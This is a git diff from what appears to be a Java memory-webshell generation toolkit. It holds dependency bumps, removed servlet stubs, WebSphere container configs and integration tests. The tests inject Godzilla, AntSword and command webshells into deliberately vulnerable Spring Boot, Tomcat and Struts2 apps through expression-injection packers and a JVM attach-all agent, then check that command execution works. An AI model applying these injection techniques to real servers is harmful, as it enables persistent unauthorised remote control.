||||
@Override
|
||||
public AsyncContext startAsync() throws IllegalStateException {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public AsyncContext startAsync(ServletRequest servletRequest, ServletResponse servletResponse) throws IllegalStateException {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean isAsyncStarted() {
|
||||
return false;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean isAsyncSupported() {
|
||||
return false;
|
||||
}
|
||||
|
||||
@Override
|
||||
public AsyncContext getAsyncContext() {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public DispatcherType getDispatcherType() {
|
||||
return null;
|
||||
}
|
||||
|
||||
public Response getResponse() {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
@@ -1,196 +0,0 @@
|
||||
package org.apache.catalina.connector;
|
||||
|
||||
import javax.servlet.ServletOutputStream;
|
||||
import javax.servlet.http.Cookie;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintWriter;
|
||||
import java.util.Collection;
|
||||
import java.util.Collections;
|
||||
import java.util.Locale;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/27
|
||||
*/
|
||||
public class Response implements HttpServletResponse {
|
||||
@Override
|
||||
public void addCookie(Cookie cookie) {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean containsHeader(String name) {
|
||||
return false;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String encodeURL(String url) {
|
||||
return "";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String encodeRedirectURL(String url) {
|
||||
return "";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String encodeUrl(String url) {
|
||||
return "";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String encodeRedirectUrl(String url) {
|
||||
return "";
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendError(int sc, String msg) throws IOException {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendError(int sc) throws IOException {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendRedirect(String location) throws IOException {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setDateHeader(String name, long date) {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void addDateHeader(String name, long date) {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setHeader(String name, String value) {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void addHeader(String name, String value) {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setIntHeader(String name, int value) {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void addIntHeader(String name, int value) {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setStatus(int sc) {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setStatus(int sc, String sm) {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public int getStatus() {
|
||||
return 0;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getHeader(String name) {
|
||||
return "";
|
||||
}
|
||||
|
||||
@Override
|
||||
public Collection<String> getHeaders(String name) {
|
||||
return Collections.emptyList();
|
||||
}
|
||||
|
||||
@Override
|
||||
public Collection<String> getHeaderNames() {
|
||||
return Collections.emptyList();
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getCharacterEncoding() {
|
||||
return "";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getContentType() {
|
||||
return "";
|
||||
}
|
||||
|
||||
@Override
|
||||
public ServletOutputStream getOutputStream() throws IOException {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public PrintWriter getWriter() throws IOException {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setCharacterEncoding(String charset) {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setContentLength(int len) {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setContentType(String type) {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setBufferSize(int size) {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public int getBufferSize() {
|
||||
return 0;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void flushBuffer() throws IOException {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void resetBuffer() {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean isCommitted() {
|
||||
return false;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void reset() {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setLocale(Locale loc) {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public Locale getLocale() {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
@@ -1,8 +0,0 @@
|
||||
package org.apache.coyote;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/12/6
|
||||
*/
|
||||
public interface Adapter {
|
||||
}
|
||||
@@ -1,8 +0,0 @@
|
||||
package org.apache.coyote;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/12/6
|
||||
*/
|
||||
public interface Processor {
|
||||
}
|
||||
@@ -1,11 +0,0 @@
|
||||
package org.apache.coyote;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/12/6
|
||||
*/
|
||||
public class Request {
|
||||
public Object getNote(int id) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
@@ -1,22 +0,0 @@
|
||||
package org.apache.coyote;
|
||||
|
||||
import org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler;
|
||||
import org.apache.tomcat.util.net.SocketWrapperBase;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/12/6
|
||||
*/
|
||||
public interface UpgradeProtocol {
|
||||
public String getHttpUpgradeName(boolean isSSLEnabled);
|
||||
|
||||
public byte[] getAlpnIdentifier();
|
||||
|
||||
public String getAlpnName();
|
||||
|
||||
public Processor getProcessor(SocketWrapperBase<?> socketWrapper, Adapter adapter);
|
||||
|
||||
public InternalHttpUpgradeHandler getInternalUpgradeHandler(Adapter adapter, Request request);
|
||||
|
||||
public boolean accept(Request request);
|
||||
}
|
||||
-8
@@ -1,8 +0,0 @@
|
||||
package org.apache.coyote.http11.upgrade;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/12/6
|
||||
*/
|
||||
public interface InternalHttpUpgradeHandler {
|
||||
}
|
||||
@@ -1,8 +0,0 @@
|
||||
package org.apache.tomcat.util.net;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/12/6
|
||||
*/
|
||||
public class SocketWrapperBase<E> {
|
||||
}
|
||||
+18
-12
@@ -1,5 +1,5 @@
|
||||
[versions]
|
||||
asm = "9.9.1"
|
||||
asm = "9.10" # https://mvnrepository.com/artifact/org.ow2.asm/asm
|
||||
jna = "5.13.0" # 为适配 JDK6+ 这个不可修改
|
||||
bcel = "5.2"
|
||||
javax-servlet-api = "3.0.1"
|
||||
@@ -11,33 +11,39 @@ spring-webflux = "5.3.24"
|
||||
reactor-netty = "1.1.25"
|
||||
jackson = "2.19.0"
|
||||
jetbrains-annotations = "26.0.2"
|
||||
alibaba-dubbo = "2.6.12"
|
||||
apache-dubbo = "2.7.6"
|
||||
tomcat = "8.5.85"
|
||||
|
||||
byte-buddy = "1.18.5" # https://mvnrepository.com/artifact/net.bytebuddy/byte-buddy
|
||||
commons-io = "2.21.0" # https://mvnrepository.com/artifact/commons-io/commons-io
|
||||
byte-buddy = "1.18.8" # https://mvnrepository.com/artifact/net.bytebuddy/byte-buddy
|
||||
commons-io = "2.22.0" # https://mvnrepository.com/artifact/commons-io/commons-io
|
||||
commons-lang3 = "3.20.0" # https://mvnrepository.com/artifact/org.apache.commons/commons-lang3
|
||||
commons-codec = "1.21.0" # https://mvnrepository.com/artifact/commons-codec/commons-codec
|
||||
commons-codec = "1.22.0" # https://mvnrepository.com/artifact/commons-codec/commons-codec
|
||||
logback = "1.5.32" # https://mvnrepository.com/artifact/ch.qos.logback/logback-classic
|
||||
okhttp3 = "5.3.2" # https://mvnrepository.com/artifact/com.squareup.okhttp3/okhttp
|
||||
fastjson2 = "2.0.61" # https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2
|
||||
fastjson2 = "2.0.62" # https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2
|
||||
java-websocket = "1.6.0" # https://mvnrepository.com/artifact/org.java-websocket/Java-WebSocket
|
||||
|
||||
mockito = "5.21.0"
|
||||
hamcrest = "3.0"
|
||||
junit-jupiter = "5.14.3" # https://mvnrepository.com/artifact/org.junit.jupiter/junit-jupiter
|
||||
junit-jupiter = "5.14.4" # https://mvnrepository.com/artifact/org.junit.jupiter/junit-jupiter
|
||||
junit-pioneer = "2.3.0"
|
||||
junit-platform = "1.14.3" # https://mvnrepository.com/artifact/org.junit.platform/junit-platform-launcher
|
||||
testcontainers = "2.0.3" # https://mvnrepository.com/artifact/org.testcontainers/testcontainers
|
||||
junit-platform = "1.14.4" # https://mvnrepository.com/artifact/org.junit.platform/junit-platform-launcher
|
||||
testcontainers = "2.0.5" # https://mvnrepository.com/artifact/org.testcontainers/testcontainers
|
||||
|
||||
[libraries]
|
||||
alibaba-dubbo = { module = "com.alibaba:dubbo", version.ref = "alibaba-dubbo" }
|
||||
apache-dubbo = { module = "org.apache.dubbo:dubbo", version.ref = "apache-dubbo" }
|
||||
byte-buddy = { module = "net.bytebuddy:byte-buddy", version.ref = "byte-buddy" }
|
||||
tomcat-embed-core = { module = "org.apache.tomcat.embed:tomcat-embed-core", version.ref = "tomcat" }
|
||||
asm-commons = { module = "org.ow2.asm:asm-commons", version.ref = "asm" }
|
||||
jna = { module = "net.java.dev.jna:jna", version.ref = "jna" }
|
||||
jna-platform = { module = "net.java.dev.jna:jna-platform", version.ref = "jna" }
|
||||
javax-servlet-api = { module = "javax.servlet:javax.servlet-api", version.ref = "javax-servlet-api" }
|
||||
jakarta-servlet-api = { module = "jakarta.servlet:jakarta.servlet-api", version.ref = "jakarta-servlet-api" }
|
||||
javax-websocket-api = { module = "javax.websocket:javax.websocket-api", version.ref = "javax-websocket-api" }
|
||||
jakarta-websocket-api = { module = "jakarta.websocket:jakarta.websocket-api", version.ref = "jakarta-websocket-api"}
|
||||
jakarta-websocket-client-api = { module = "jakarta.websocket:jakarta.websocket-client-api", version.ref = "jakarta-websocket-api"}
|
||||
jakarta-websocket-api = { module = "jakarta.websocket:jakarta.websocket-api", version.ref = "jakarta-websocket-api" }
|
||||
jakarta-websocket-client-api = { module = "jakarta.websocket:jakarta.websocket-client-api", version.ref = "jakarta-websocket-api" }
|
||||
spring-webmvc = { module = "org.springframework:spring-webmvc", version.ref = "spring-webmvc" }
|
||||
spring-webflux = { module = "org.springframework:spring-webflux", version.ref = "spring-webflux" }
|
||||
reactor-netty-core = { module = "io.projectreactor.netty:reactor-netty-core", version.ref = "reactor-netty" }
|
||||
@@ -68,5 +74,5 @@ mockito = ["mockito-core", "mockito-junit-jupiter"]
|
||||
testcontainers = ["testcontainers", "testcontainers-junit-jupiter"]
|
||||
|
||||
[plugins]
|
||||
lombok = { id = "io.freefair.lombok", version = "9.2.0" }
|
||||
shadow = { id = "com.gradleup.shadow", version = "9.3.1"}
|
||||
lombok = { id = "io.freefair.lombok", version = "9.5.0" } # https://plugins.gradle.org/plugin/io.freefair.lombok
|
||||
shadow = { id = "com.gradleup.shadow", version = "9.4.1" } # https://plugins.gradle.org/plugin/com.gradleup.shadow
|
||||
@@ -2,6 +2,8 @@ services:
|
||||
was700:
|
||||
image: reajason/websphere:7.0.0.21
|
||||
container_name: was700
|
||||
environment:
|
||||
JAVA_OPTS: -Xshareclasses:none
|
||||
ports:
|
||||
- "9080:9080"
|
||||
- "9060:9060"
|
||||
|
||||
@@ -0,0 +1,12 @@
|
||||
services:
|
||||
was905:
|
||||
image: reajason/websphere:9.0.5.17
|
||||
container_name: was905
|
||||
ports:
|
||||
- "9080:9080"
|
||||
- "9060:9060"
|
||||
- "5005:5005"
|
||||
environment:
|
||||
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
|
||||
volumes:
|
||||
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war
|
||||
@@ -16,7 +16,7 @@ public class ContainerTool {
|
||||
public static final MountableFile warExpressionFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-expression", "build", "libs", "vul-webapp-expression.war").toAbsolutePath());
|
||||
public static final MountableFile warDeserializeFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-deserialize", "build", "libs", "vul-webapp-deserialize.war").toAbsolutePath());
|
||||
public static final MountableFile warFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp", "build", "libs", "vul-webapp.war").toAbsolutePath(), 0666);
|
||||
public static final MountableFile struct2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-struct2", "build", "libs", "vul-struct2.war").toAbsolutePath());
|
||||
public static final MountableFile struts2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-struts2", "build", "libs", "vul-struts2.war").toAbsolutePath());
|
||||
public static final MountableFile springBoot2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2", "build", "libs", "vul-springboot2.war").toAbsolutePath());
|
||||
|
||||
public static final MountableFile springBoot1JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot1", "build", "libs", "vul-springboot1.jar").toAbsolutePath());
|
||||
@@ -25,6 +25,7 @@ public class ContainerTool {
|
||||
public static final MountableFile springBoot2UndertowJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2-undertow", "build", "libs", "vul-springboot2-undertow.jar").toAbsolutePath());
|
||||
public static final MountableFile springBoot2WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2-webflux", "build", "libs", "vul-springboot2-webflux.jar").toAbsolutePath());
|
||||
public static final MountableFile springBoot3JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3", "build", "libs", "vul-springboot3.jar").toAbsolutePath());
|
||||
public static final MountableFile springBoot359JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot359", "build", "libs", "vul-springboot359.jar").toAbsolutePath());
|
||||
public static final MountableFile springBoot3WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3-webflux", "build", "libs", "vul-springboot3-webflux.jar").toAbsolutePath());
|
||||
|
||||
public static final Path neoGeorgDockerfile = Path.of("..", "assets", "neoreg", "Dockerfile").toAbsolutePath();
|
||||
|
||||
@@ -503,4 +503,60 @@ public class ShellAssertion {
|
||||
containsString("servletNameTestFilter -> ServletNameTestFilter -> Servlet:[b64, biginteger]")
|
||||
));
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static void testListProcessAndAttachAll(String url, ContainerTestConfig config, String shellType, GenericContainer<?> appContainer) {
|
||||
String shellTool = ShellTool.Command;
|
||||
Packers packer = Packers.AgentJarWithJREAttacher;
|
||||
Pair<String, String> urls = getUrls(url, shellType, shellTool, packer);
|
||||
String shellUrl = urls.getLeft();
|
||||
String urlPattern = urls.getRight();
|
||||
|
||||
ShellToolConfig shellToolConfig = getShellToolConfig(shellType, shellTool, packer);
|
||||
MemShellResult generateResult = generate(urlPattern, config.getServer(), config.getServerVersion(),
|
||||
shellType, shellTool, config.getTargetJdkVersion(), shellToolConfig, packer);
|
||||
|
||||
// Pack and copy to container
|
||||
byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult.toJarPackerConfig());
|
||||
Path tempJar = Files.createTempFile("temp", "jar");
|
||||
Files.write(tempJar, bytes);
|
||||
String jarPath = "/listProcessTest.jar";
|
||||
appContainer.copyFileToContainer(MountableFile.forHostPath(tempJar, 0100666), jarPath);
|
||||
FileUtils.deleteQuietly(tempJar.toFile());
|
||||
|
||||
// Test 1: List processes (no args)
|
||||
Container.ExecResult listResult = appContainer.execInContainer("java", "-jar", jarPath);
|
||||
String listStdout = listResult.getStdout();
|
||||
if (listStdout.contains("executable file not found")) {
|
||||
listResult = appContainer.execInContainer("/opt/IBM/WebSphere/AppServer/java/bin/java", "-jar", jarPath);
|
||||
listStdout = listResult.getStdout();
|
||||
if (listStdout.contains("no such file or directory")) {
|
||||
listResult = appContainer.execInContainer("/opt/IBM/WebSphere/AppServer/java/8.0/jre/bin/java", "-jar", jarPath);
|
||||
listStdout = listResult.getStdout();
|
||||
}
|
||||
}
|
||||
log.info("list processes output:\n{}", listStdout);
|
||||
System.out.println("list stderr: " + listResult.getStderr());
|
||||
assertThat("Should find at least one Java process", listStdout.trim(), not(equalTo("")));
|
||||
assertThat("Should find Java processes", listStdout, not(containsString("No Java processes found")));
|
||||
|
||||
// Test 2: Attach all
|
||||
Container.ExecResult attachResult = appContainer.execInContainer("java", "-jar", jarPath, "all");
|
||||
String attachStdout = attachResult.getStdout();
|
||||
if (attachStdout.contains("executable file not found")) {
|
||||
attachResult = appContainer.execInContainer("/opt/IBM/WebSphere/AppServer/java/bin/java", "-jar", jarPath, "all");
|
||||
attachStdout = attachResult.getStdout();
|
||||
if (attachStdout.contains("no such file or directory")) {
|
||||
attachResult = appContainer.execInContainer("/opt/IBM/WebSphere/AppServer/java/8.0/jre/bin/java", "-jar", jarPath, "all");
|
||||
attachStdout = attachResult.getStdout();
|
||||
}
|
||||
}
|
||||
log.info("attach all output:\n{}", attachStdout);
|
||||
System.out.println("attach all stderr: " + attachResult.getStderr());
|
||||
assertThat("Attach all should complete with Success", attachStdout, containsString("Success"));
|
||||
|
||||
// Test 3: Verify shell injection was successful
|
||||
String paramName = ((CommandConfig) shellToolConfig).getParamName();
|
||||
commandIsOk(shellUrl, shellType, paramName, "id");
|
||||
}
|
||||
}
|
||||
|
||||
+90
@@ -0,0 +1,90 @@
|
||||
package com.reajason.javaweb.integration.memshell.springwebmvc;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.integration.ContainerTool;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.stream.Stream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
@Testcontainers
|
||||
public class SpringBoot359ContainerTest extends AbstractContainerTest {
|
||||
private static final ContainerTestConfig CONFIG = ContainerTestConfig.builder()
|
||||
.imageName("eclipse-temurin:17.0.17_10-jdk")
|
||||
.jarFile(ContainerTool.springBoot359JarFile)
|
||||
.jakarta(true)
|
||||
.jarDeployPath("/app/app.jar")
|
||||
.command("java -jar /app/app.jar")
|
||||
.server(Server.SpringWebMvc)
|
||||
.pidScript(ContainerTool.springbootPid)
|
||||
.targetJdkVersion(Opcodes.V17)
|
||||
.enableJspPackerTest(false)
|
||||
.contextPath("")
|
||||
.healthCheckPath("/test")
|
||||
.supportedShellTypes(List.of(
|
||||
ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR,
|
||||
ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER,
|
||||
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET
|
||||
))
|
||||
.testPackers(List.of(Packers.H2))
|
||||
.unSupportedShellTools(List.of(ShellTool.AntSword))
|
||||
.probeShellTypes(List.of(
|
||||
ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR,
|
||||
ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER
|
||||
))
|
||||
.build();
|
||||
|
||||
private static final ContainerTestConfig TOMCAT_CONFIG = ContainerTestConfig.builder()
|
||||
.imageName("springboot3")
|
||||
.server(Server.Tomcat)
|
||||
.targetJdkVersion(Opcodes.V17)
|
||||
.supportedShellTypes(List.of(
|
||||
ShellType.JAKARTA_FILTER,
|
||||
// ShellType.LISTENER,
|
||||
ShellType.JAKARTA_VALVE,
|
||||
ShellType.JAKARTA_WEBSOCKET,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
))
|
||||
.testPackers(List.of(Packers.H2))
|
||||
.unSupportedShellTools(List.of(ShellTool.AntSword))
|
||||
.build();
|
||||
|
||||
static Network network = newNetwork();
|
||||
@Container
|
||||
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||
|
||||
@Container
|
||||
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||
|
||||
static Stream<Arguments> tomcatCasesProvider() {
|
||||
return generateTestCases(TOMCAT_CONFIG);
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("tomcatCasesProvider")
|
||||
void testTomcat(String imageName, String shellType, String shellTool, Packers packer) {
|
||||
runShellInject(TOMCAT_CONFIG, shellType, shellTool, packer);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
}
|
||||
+71
@@ -0,0 +1,71 @@
|
||||
package com.reajason.javaweb.integration.memshell.springwebmvc;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static org.junit.jupiter.params.provider.Arguments.arguments;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
@Testcontainers
|
||||
@Slf4j
|
||||
public class SpringBoot359ExpressionContainerTest {
|
||||
public static final String imageName = "springboot3";
|
||||
|
||||
@Container
|
||||
public final static GenericContainer<?> container = new GenericContainer<>("eclipse-temurin:17.0.17_10-jdk")
|
||||
.withCopyFileToContainer(springBoot359JarFile, "/app/app.jar")
|
||||
.withCommand("java -jar /app/app.jar")
|
||||
.withCopyToContainer(jattachFile, "/jattach")
|
||||
.withCopyToContainer(springbootPid, "/fetch_pid.sh")
|
||||
.waitingFor(Wait.forHttp("/test"))
|
||||
.withExposedPorts(8080);
|
||||
|
||||
|
||||
public static String getUrl(GenericContainer<?> container) {
|
||||
String host = container.getHost();
|
||||
int port = container.getMappedPort(8080);
|
||||
String url = "http://" + host + ":" + port;
|
||||
log.info("container started, app url is : {}", url);
|
||||
return url;
|
||||
}
|
||||
|
||||
@AfterAll
|
||||
static void tearDown() {
|
||||
String logs = container.getLogs();
|
||||
log.info(logs);
|
||||
// assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||
}
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.SpELSpringGzipJDK17),
|
||||
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.OGNLSpringGzipJDK17),
|
||||
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JXPathSpringGzipJDK17)
|
||||
);
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}-expression|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||
ShellAssertion.shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container);
|
||||
}
|
||||
}
|
||||
-2
@@ -1,7 +1,6 @@
|
||||
package com.reajason.javaweb.integration.memshell.springwebmvc;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ContainerTool;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
@@ -14,7 +13,6 @@ import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
|
||||
+4
-4
@@ -1,4 +1,4 @@
|
||||
package com.reajason.javaweb.integration.memshell.struct2;
|
||||
package com.reajason.javaweb.integration.memshell.struts2;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
@@ -19,11 +19,11 @@ import java.util.List;
|
||||
* @since 2024/12/4
|
||||
*/
|
||||
@Testcontainers
|
||||
public class Struct2ContainerTest extends AbstractContainerTest {
|
||||
public class Struts2ContainerTest extends AbstractContainerTest {
|
||||
private static final ContainerTestConfig CONFIG = ContainerTestConfig.builder()
|
||||
.imageName("tomcat:8-jre8")
|
||||
.server(Server.Struct2)
|
||||
.warFile(ContainerTool.struct2WarFile)
|
||||
.server(Server.Struts2)
|
||||
.warFile(ContainerTool.struts2WarFile)
|
||||
.warDeployPath("/usr/local/tomcat/webapps/app.war")
|
||||
.pidScript(ContainerTool.tomcatPid)
|
||||
.enableJspPackerTest(false)
|
||||
+7
@@ -2,10 +2,12 @@ package com.reajason.javaweb.integration.memshell.tomcat;
|
||||
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
@@ -59,4 +61,9 @@ public class Tomcat10ContainerTest extends AbstractContainerTest {
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
|
||||
@Test
|
||||
void testListProcessAndAttachAll() {
|
||||
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
|
||||
}
|
||||
}
|
||||
|
||||
+7
@@ -2,10 +2,12 @@ package com.reajason.javaweb.integration.memshell.tomcat;
|
||||
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
@@ -59,4 +61,9 @@ public class Tomcat11ContainerTest extends AbstractContainerTest {
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
|
||||
@Test
|
||||
void testListProcessAndAttachAll() {
|
||||
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
|
||||
}
|
||||
}
|
||||
|
||||
+7
@@ -2,10 +2,12 @@ package com.reajason.javaweb.integration.memshell.tomcat;
|
||||
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
@@ -58,4 +60,9 @@ public class Tomcat11JRE21ContainerTest extends AbstractContainerTest {
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
